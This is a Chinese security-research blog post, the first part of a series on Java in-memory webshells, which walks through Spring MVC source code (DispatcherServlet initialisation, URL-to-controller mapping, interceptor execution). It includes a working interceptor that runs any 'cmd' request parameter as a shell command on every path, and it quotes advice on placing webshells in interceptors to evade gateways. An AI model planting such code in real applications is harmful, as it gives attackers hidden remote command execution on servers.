Java内存马系列 | SpringMVC内存马 - 上 | SpringMVC代码分析

2024-09-07 16:36

本文主要是介绍Java内存马系列 | SpringMVC内存马 - 上 | SpringMVC代码分析,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

  • Java内存马\_SpringMVC代码分析
    • 新建一个SpingMVC项目
      • 新建项目或者模块
      • 编写一个简单的Spring Controller
      • 编写一个Spring Interceptor
    • Spring MVC介绍
      • `Spring MVC`的大致处理流程
      • Spring MVC九大组件
    • SpringMVC源码分析
      • 九大组件的初始化源码分析
      • url和controller的关系建立
      • Spring Interceptor引入的执行流程

Java内存马_SpringMVC代码分析

新建一个SpingMVC项目

新建项目或者模块

设置Server URLhttps://start.aliyun.com/

选择Dependencies为Spring Web

建好之后,等待加载,最终是这个样子

编写一个简单的Spring Controller

TestController.java:

package com.leyilea.springmvcshell;  import org.springframework.stereotype.Controller;  
import org.springframework.web.bind.annotation.RequestMapping;  
import org.springframework.web.bind.annotation.ResponseBody;  @Controller  
public class TestController {  @ResponseBody  @RequestMapping("/test")  public String test(){  return "Hello Spring MVC";  }  }

切换到SpringMvcShellApplication.java,右击启动。

之后再浏览器访问如下

在这里插入图片描述

编写一个Spring Interceptor

TestInterceptor.java:

package com.leyilea.springmvcshell;  import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;  
import javax.servlet.http.HttpServletRequest;  
import javax.servlet.http.HttpServletResponse;  
import java.io.PrintWriter;  
import java.util.Scanner;  public class TestInterceptor extends HandlerInterceptorAdapter {  @Override  public boolean preHandle(HttpServletRequest request, HttpServletResponse response,Object handler){  String cmd = request.getParameter("cmd");  if(cmd != null){  try {  PrintWriter writer = response.getWriter();  String output = "";  ProcessBuilder processBuilder;  if(System.getProperty("os.name").toLowerCase().contains("win")){  processBuilder = new ProcessBuilder("cmd.exe","/c",cmd);  }else {  processBuilder = new ProcessBuilder("/bin/sh","-c",cmd);  }  Scanner scanner = new Scanner(processBuilder.start().getInputStream()).useDelimiter("\\A");  output = scanner.hasNext() ? scanner.next() : output;  scanner.close();  writer.write(output);  writer.flush();  writer.close();  } catch (Exception e) {  return false;  }  }  return true;  }  
}

WebConfig.java:

package com.leyilea.springmvcshell;  import org.springframework.context.annotation.Configuration;  
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;  
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;  @Configuration  
public class WebConfig implements WebMvcConfigurer {  @Override  public void addInterceptors(InterceptorRegistry registry){  registry.addInterceptor(new TestInterceptor()).addPathPatterns("/**");  }  }

TestController.java不变,还是之前的,运行后访问 http://127.0.0.1:8080/?cmd=whoami
在这里插入图片描述
在这里插入图片描述

Spring MVC介绍

Spring MVC的大致处理流程

在这里插入图片描述

  • DispatcherServlet是前端控制器,它负责接收Request并将Request转发给对应的处理组件;
  • HandlerMapping负责完成urlController映射,可以通过它来找到对应的处理RequestController
  • Controller处理Request,并返回ModelAndVIew对象,ModelAndView是封装结果视图的组件;
  • ④~⑦表示视图解析器解析ModelAndView对象并返回对应的视图给客户端。

还有一个概念需要了解,就是IOC容器。
IOC(控制反转)容器是Spring框架的核心概念之一,它的基本思想是将对象的创建、组装、管理等控制权从应用程序代码反转到容器,使得应用程序组件无需直接管理它们的依赖关系。IOC容器主要负责对象的创建、依赖注入、生命周期管理和配置管理等。Spring框架提供了多种实现IOC容器的方式,下面讲两种常见的:

  • BeanFactorySpring的最基本的IOC容器,提供了基本的IOC功能,只有在第一次请求时才创建对象。
  • ApplicationContext:这是BeanFactory的扩展,提供了更多的企业级功能。ApplicationContext在容器启动时就预加载并初始化所有的单例对象,这样就可以提供更快的访问速度。

Spring MVC九大组件

  1. DispatcherServlet:派发Servlet,负责将请求分发给其他组件,是整个Spring MVC的核心。
  2. HandlerMapping:处理器映射,用于确定请求的处理器(Controller)。
  3. HandlerAdapter:处理器适配器,将请求映射到合适的处理器方法,负责执行处理器方法。
  4. HandlerInterceptor:处理器拦截器,允许对处理器的执行过程进行拦截和干预(内存马的关键)。
  5. Controller:控制器,处理用户请求并返回适当的模型和视图。
  6. ModelAndView:模型和视图,封装了处理器方法的执行结果,包括模型数据和视图信息。
  7. ViewResolver:视图解析器,用于将逻辑视图名称解析为具体的视图对象。
  8. LocaleResolver:区域解析器,处理区域信息,用于国际化。
  9. ThemeResolver:主题解析器,用于解析Web引用的主题,实现界面主题的切换。

SpringMVC源码分析

这里主要从三个方面进行分析

  • 九大组件的初始化
  • url和controller的关系建立(映射)
  • Spring Interceptor引入的执行流程

九大组件的初始化源码分析

首先在External Libraries中找到org.springframework.web.servlet#DispatcherServlet,选中该类,按Atl+7键查看所有该类下的方法。

在这里插入图片描述

翻看之后,发现DispatcherServlet类中没有init方法,那我们就查找ta的父类FrameworkServlet

在这里插入图片描述

FrameworkServlet类也不存在init方法,继续向上查找,发现FrameworkServlet类的父类HttpServletBean类存在init方法

在这里插入图片描述

代码如下

在这里插入图片描述

最关键的是最后调用了当前类的initServletBean方法,跳转到该方法,发现方法为空,以为这是在子类中有实现。
接下来查找HttpServletBean类的子类,即FrameworkServlet类和DispatcherServlet类中是否有该方法的override重写。
最终在FrameworkServlet类中找到了该方法的override。

在这里插入图片描述

代码如下

在这里插入图片描述

其中log相关的代码不用关注,主要的代码就两条

this.webApplicationContext = this.initWebApplicationContext();  
this.initFrameworkServlet();

首先是调用当前类的initWebApplicationContext方法,跟进一下

在这里插入图片描述

该方法是为了初始化WebApplicationContext对象,并返回。其中执行了onRefresh方法,WebApplicationContext对象为参数,跟进一下onRefresh方法,看看做了什么处理(一般来说这个方法是在容器刷新完成后被调用的回调方法,它执行一些在应用程序启动后立即需要完成的任务)

跟进之后发现是空的
在这里插入图片描述

继续寻找子类中是否有实现,那就是DispatcherServlet类了,果然,存在onRefresh方法

在这里插入图片描述

其中调用了initStrategies方法,跟进一下

在这里插入图片描述

原来是为了初始化九大组件。

url和controller的关系建立

当我们添加一个@RequestMapping(“/test”)之后,为什么访问/test路径后,会执行对应的方法呢?也就是说Spring MVC为什么会通过该注解将对应的请求和方法对应起来的呢?接下来分析一下。

在这里插入图片描述

这里属于映射关系,那我们可以从九大组件的初始化的initHandlerMappings入手。

在这里插入图片描述

这个方法是初始化map映射的方法,跟进一下

在这里插入图片描述

如果detectAllHandlerMappings为true,则从matchingBeans中获取值并创建ArrayList赋值给handlerMappings;

如果detectAllHandlerMappings为false,则从context中获取。

如果上述操作后handlerMappings还为空,则通过getDefaultStrategies进行获取。紧接着最后,对handlerMappings做一个遍历,对里面的元素做usesPathPatterns判断。

跟进一下getDefaultStrategies方法,

如果defaultStrategies为空,则加载resource资源,并将其内容以键值对的方式存储在defaultStrategies中。

然后以传入的strategyInterface的名称在defaultStrategies中进行查询,如果找到了,则将这个值按逗号分割成类名数组,然后,遍历该数组,对每个类名执行如下操作。1)尝试通过ClassUtils.forName加载该类,2)使用createDefaultStrategy创建该类的实例,并加入到strategies中,并返回。

其中DEFAULT_STRATEGIES_PATH的值为"DispatcherServlet.properties"

查看一下该资源文件,其中比较重要的就是HandlerMapping

对应的值为如下三个

org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping
org.springframework.web.servlet.function.support.RouterFunctionMapping

其中,常用的是第2个RequestMappingHandlerMapping,找到,查看一下

其中RequestMappingHandlerMapping的父类RequestMappingInfoHandlerMapping的父类AbstractHandlerMethodMapping实现了InitializingBean接口,该接口用于在bean初始化完成后执行一些特定的自定义初始化逻辑。

进入InitializingBean接口看一下,只存在一个afterPropertiesSet方法。

寻找一下afterPropertiesSet方法的重写。(从InitializingBean接口的实现类中找)

在AbstractHandlerMethodMapping类中找到该afterPropertiesSet方法的重写

并在内部调用了initHandlerMethods方法。

其中SCOPED_TARGET_NAME_PREFIX的值为scopedTarget.

接下来看一下processCandidateBean的逻辑

首先获取到bean的类型,接下来…isHandler()是判断什么,看一看,空方法,说明子类中有重写。

在RequestMappingHandlerMapping类中找到isHandler的重写,其作用是用来检测给定的beanType类是否带有Controller注解或者RequestMapping注解。

接下来调用了detectHandlerMethods方法,瞅一瞅

可以分成两大块来看

第一块

Class<?> handlerType = (handler instanceof String ?obtainApplicationContext().getType((String) handler) : handler.getClass());

这串代码的作用是判断传入的handler是否为String类型,如果是则通过ApplicationContext获取对应的type类型,如果不是则直接获取handler对应的类型。

总之,这串代码就是在获取handler对应的类型,只是两种不同方式。

第二块

Class<?> userType = ClassUtils.getUserClass(handlerType);Map<Method, T> methods = MethodIntrospector.selectMethods(userType,(MethodIntrospector.MetadataLookup<T>) method -> {try {return getMappingForMethod(method, userType);}catch (Throwable ex) {throw new IllegalStateException("Invalid mapping on handler class [" +userType.getName() + "]: " + method, ex);}});

这段代码。首先获取到用户类(用户类就是没有经过代理包装的类,这样可以确保获取到的是实际处理请求的类)。

然后执行MethodIntrospector.selectMethods方法,这个方法有两个参数,第一个参数是传入用户类,第二个参数是回调函数。这个方法的作用也就是查询传入的用户类,然后执行回调函数。

该回调函数执行了getMappingForMethod方法,并返回(从名称上看,这个方法作用是获取方法对应的mapping),点进去看一下,这是一个抽象方法。

找子类中对该方法的实现:按Ctrl+Alt+B可以查看对应的实现类,也可一点击该方法前面的“i👇🏻”

在子类RequestMappingHandlerMapping中有该方法的实现。

这里可以打个断点调试一下

可以发现,该方法的作用是解析类和方法上的注解,即通过方法解析对应的路径(注解内容),如这里的test()方法的注解中的路径为/test。

将TestController类换一个写法(类和方法都加上注解),再调试一下

做出的解析为/ppp/test

接下来分析下这个方法的每一步:

分开来看一下,首先是

RequestMappingInfo info = createRequestMappingInfo(method);

然后是

RequestMappingInfo typeInfo = createRequestMappingInfo(handlerType);

两处都调用了createRequestMappingInfo方法,但是传入的参数不同。

该方法的作用是解析@RequestMapping注解,生成一个对应的RequestMappingInfo对象。

传入method(方法)参数,则获取当前方法对应的@RequestMapping注解内容,生成RequestMappingInfo对象。比如这里的/test

传入handlerType(类)参数,则获取当前类对应的@RequestMapping注解内容,生成RequestMappingInfo对象。比如这里的/ppp

最终的RequestMappingInfo内容路径为/ppp/test

继续往下跟踪,又回到detectHandlerMethods方法,开始执行methods.forEach做遍历

最终将url和Controller及method的关系进行确立。

Spring Interceptor引入的执行流程

📌随着微服务部署技术的迭代演进,大型业务系统在到达真正的应用服务器的时候,会经过一些系列的网关、复杂均衡以及防火墙等。所以如果你新建的shell路由不在这些网关的白名单中,那么就很有可能无法访问到,在到达应用服务器之前就会被丢弃。我们要达到的目的就是在访问正常的业务地址之前,就能执行我们的代码。所以,在注入java内存马时,尽量不要使用新的路由来专门处理我们注入的webshell逻辑,最好是在每一次请求到达真正的业务逻辑前,都能提前进行我们webshell逻辑的处理。在tomcat容器下,有filterlistener等技术可以达到上述要求。那么在 spring 框架层面下,有办法达到上面所说的效果吗? ——摘编自https://github.com/Y4tacker/JavaSec/blob/main/5.内存马学习/Spring/利用intercetor注入Spring内存马/index.mdhttps://landgrey.me/blog/19/

答案是当然有,这就是我们要讲的Spring InterceptorSpring框架中的一种拦截器机制。

这个Spring Interceptor和我们之前所说的Filter的区别是啥?

参考:https://developer.aliyun.com/article/925400

主要有以下六个方面:

主要区别拦截器过滤器
机制Java反射机制函数回调
是否依赖Servlet容器不依赖依赖
作用范围action请求起作用对几乎所有请求起作用
是否可以访问上下文和值栈可以访问不能访问
调用次数可以多次被调用在容器初始化时只被调用一次
IOC容器中的访问可以获取IOC容器中的各个bean(基于FactoryBean接口)不能在IOC容器中获取bean

通过TestInterceptor.java来进行调试一下,在preHandle处打上断点

浏览器访问http://localhost:8080/test?cmd=whoami开始调试

将preHandle函数一步步走完之后,会进入org.springframework.web.servlet.HandlerExecutionChain#applyPreHandle方法

将方法走完,会进入org.springframework.web.servlet.DispatcherServlet#doDispatch方法,但是是在该方法的中间位置,这是因为我们打断点是打在TestInterceptor.java处,而在浏览器访问链接时,在运行TestInterceptor.java之前其实该doDispatch方法已经执行了一部分,到该处代码时,进入applyPreHandle之后才执行了我们自己写的TestInterceptor.java

if (!mappedHandler.applyPreHandle(processedRequest, response)) {return;}

总的来说就是,程序执行的一部分过程是doDispatch-applyPreHandle-preHandle

好,那接下来在doDispatch的开始打上断点,调试一下。

首先是以下代码,这里和sync异步相关,先不管

接下来比较重要的是下面的代码,注释写的也比较清楚Determine handler for the current request.意思是确定当前request对应的handler。

步入看一下:

可以看到,handlerMappings的大小有5,也就是说有5个handlerMapping。

接下来开始遍历每一个handlerMapping,然后通过mapping.getHandler(request)获取request对应的handler。

步入getHandler看一下:

首先是以下代码,意思是先试用getHandlerInternal获取request对应的handler对象,如果为空就通过getDefaultHandler获取默认的handler对象,如果还为空,则返回null。

    Object handler = getHandlerInternal(request);if (handler == null) {handler = getDefaultHandler();}if (handler == null) {return null;}

步入getHandlerInternal看一下:发现是通过调用父类的getHandlerInternal获取

父类的getHandlerInternal

可以继续跟进,这里和Interceptor关系不大,就不在跟进了,总之最终会返回对应的handler。handler为com.leyilea.springmemshell.TestController#test()。

继续回到getHandler处:

接下来是判断handler是否是String类型,如果是则通过obtainApplicationContext().getBean(handlerName)获取,很显然不是。

接下来是判断是否有缓存,如果有则跳过,如果没有则通过initLookupPath获取缓存路径。

接下来是执行getHandlerExecutionChain方法,返回HandlerExecutionChain对象,而doDispatch最终返回额就是HandlerExecutionChain对象,所以这个方法很重要

步入getHandlerExecutionChain方法看一下:

首先判断handler是否为HandlerExecutionChain类型,如果是则强转,如果不是则实例化一个。

HandlerExecutionChain chain = (handler instanceof HandlerExecutionChain ?(HandlerExecutionChain) handler : new HandlerExecutionChain(handler));

总之,就是把传入的handler转换为HandlerExecutionChain类型。

然后开始遍历adaptedInterceptors,这里数量为3,得到每一个interceptor,然后对每一个interceptor通过mappedInterceptor.matches(request)和request做匹配,如果匹配成功,则将对应的interceptor加入到HandlerExecutionChain对象中,最后返回(这是一个处理器执行链)。

最终再回到getHandler,继续往下看,log相关的不用管。

下面这段代码主要都是处理跨域资源共享(CORS)的逻辑,只需要知道在涉及CORS的时候把requestexecutionChainCORS配置通过getCorsHandlerExecutionChain调用封装后返回就行了。

最终getHandler方法返回了executionChain。

然后回到doDispatch的方法,执行的到applyPreHandle后就会执行我们书写的TestInterceptor.java

,log相关的不用管。

下面这段代码主要都是处理跨域资源共享(CORS)的逻辑,只需要知道在涉及CORS的时候把requestexecutionChainCORS配置通过getCorsHandlerExecutionChain调用封装后返回就行了。

最终getHandler方法返回了executionChain。

然后回到doDispatch的方法,执行的到applyPreHandle后就会执行我们书写的TestInterceptor.java

这篇关于Java内存马系列 | SpringMVC内存马 - 上 | SpringMVC代码分析的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1145584

相关文章

Spring MVC如何设置响应

《SpringMVC如何设置响应》本文介绍了如何在Spring框架中设置响应,并通过不同的注解返回静态页面、HTML片段和JSON数据,此外,还讲解了如何设置响应的状态码和Header... 目录1. 返回静态页面1.1 Spring 默认扫描路径1.2 @RestController2. 返回 html2

Spring常见错误之Web嵌套对象校验失效解决办法

《Spring常见错误之Web嵌套对象校验失效解决办法》:本文主要介绍Spring常见错误之Web嵌套对象校验失效解决的相关资料,通过在Phone对象上添加@Valid注解,问题得以解决,需要的朋... 目录问题复现案例解析问题修正总结  问题复现当开发一个学籍管理系统时,我们会提供了一个 API 接口去

Java操作ElasticSearch的实例详解

《Java操作ElasticSearch的实例详解》Elasticsearch是一个分布式的搜索和分析引擎,广泛用于全文搜索、日志分析等场景,本文将介绍如何在Java应用中使用Elastics... 目录简介环境准备1. 安装 Elasticsearch2. 添加依赖连接 Elasticsearch1. 创

Spring核心思想之浅谈IoC容器与依赖倒置(DI)

《Spring核心思想之浅谈IoC容器与依赖倒置(DI)》文章介绍了Spring的IoC和DI机制,以及MyBatis的动态代理,通过注解和反射,Spring能够自动管理对象的创建和依赖注入,而MyB... 目录一、控制反转 IoC二、依赖倒置 DI1. 详细概念2. Spring 中 DI 的实现原理三、

SpringBoot 整合 Grizzly的过程

《SpringBoot整合Grizzly的过程》Grizzly是一个高性能的、异步的、非阻塞的HTTP服务器框架,它可以与SpringBoot一起提供比传统的Tomcat或Jet... 目录为什么选择 Grizzly?Spring Boot + Grizzly 整合的优势添加依赖自定义 Grizzly 作为

使用C#代码计算数学表达式实例

《使用C#代码计算数学表达式实例》这段文字主要讲述了如何使用C#语言来计算数学表达式,该程序通过使用Dictionary保存变量,定义了运算符优先级,并实现了EvaluateExpression方法来... 目录C#代码计算数学表达式该方法很长,因此我将分段描述下面的代码片段显示了下一步以下代码显示该方法如

Redis主从/哨兵机制原理分析

《Redis主从/哨兵机制原理分析》本文介绍了Redis的主从复制和哨兵机制,主从复制实现了数据的热备份和负载均衡,而哨兵机制可以监控Redis集群,实现自动故障转移,哨兵机制通过监控、下线、选举和故... 目录一、主从复制1.1 什么是主从复制1.2 主从复制的作用1.3 主从复制原理1.3.1 全量复制

Java后端接口中提取请求头中的Cookie和Token的方法

《Java后端接口中提取请求头中的Cookie和Token的方法》在现代Web开发中,HTTP请求头(Header)是客户端与服务器之间传递信息的重要方式之一,本文将详细介绍如何在Java后端(以Sp... 目录引言1. 背景1.1 什么是 HTTP 请求头?1.2 为什么需要提取请求头?2. 使用 Spr

Java如何通过反射机制获取数据类对象的属性及方法

《Java如何通过反射机制获取数据类对象的属性及方法》文章介绍了如何使用Java反射机制获取类对象的所有属性及其对应的get、set方法,以及如何通过反射机制实现类对象的实例化,感兴趣的朋友跟随小编一... 目录一、通过反射机制获取类对象的所有属性以及相应的get、set方法1.遍历类对象的所有属性2.获取

Java中的Opencv简介与开发环境部署方法

《Java中的Opencv简介与开发环境部署方法》OpenCV是一个开源的计算机视觉和图像处理库,提供了丰富的图像处理算法和工具,它支持多种图像处理和计算机视觉算法,可以用于物体识别与跟踪、图像分割与... 目录1.Opencv简介Opencv的应用2.Java使用OpenCV进行图像操作opencv安装j